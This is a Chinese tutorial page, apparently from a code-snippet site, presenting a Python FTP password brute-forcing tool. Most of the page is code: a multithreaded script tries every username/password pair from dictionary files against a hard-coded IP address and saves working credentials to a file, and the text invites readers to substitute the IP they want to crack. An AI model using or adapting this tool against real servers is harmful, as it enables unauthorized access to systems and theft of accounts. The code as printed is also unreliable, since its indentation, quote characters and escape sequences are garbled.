手机
当前位置:查字典教程网 >脚本专栏 >python >python编写暴力破解FTP密码小工具
python编写暴力破解FTP密码小工具
摘要:python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的...

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

复制代码 代码如下:

import os

import time

import threading

class mythread(threading.Thread):

def __init__(self,command):

threading.Thread.__init__(self)

self.command=command

def run(self):

kk=os.system(self.command)

ushand=open(“user.txt”,”r”)

pshand=open(“passwd.txt”,”r”)

listuser=[]

listpass=[]

for us in open(“user.txt”,”r”):

lineus=ushand.readline().strip(‘n')

listuser.append(lineus)

for ps in open(“passwd.txt”,”r”):

lineps=pshand.readline().strip(‘n')

listpass.append(lineps)

for i in listuser:

for j in listpass:

command=”ftp.py %s %s” %(i,j)

print command

my_thread=mythread(command)

my_thread.start()

time.sleep(0.1)

相应的ftp.py文件里面的代码如下

复制代码 代码如下:

import ftplib

import socket

import sys

ftp=ftplib.FTP('121.54.175.204′)

try:

user=sys.argv[1]

passwd=sys.argv[2]

ftp.login(user,passwd)

hand=open(‘aa.txt','a+')

hand.write(user+”:”+passwd+”n”)

except ftplib.error_perm:

print “passwd is world”

由于插不近格式,里面的缩进的什么的得自己手动再调节一下

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

【python编写暴力破解FTP密码小工具】相关文章:

python二叉树遍历的实现方法

Python Web服务器Tornado使用小结

python批量修改文件后缀示例代码分享

python写的ARP攻击代码实例

Python编写的com组件发生R6034错误的原因与解决办法

Python3实现的腾讯微博自动发帖小工具

Python写的PHPMyAdmin暴力破解工具代码

python利用hook技术破解https的实例代码

python的几种开发工具介绍

Python实现的百度站长自动URL提交小工具

精品推荐
分类导航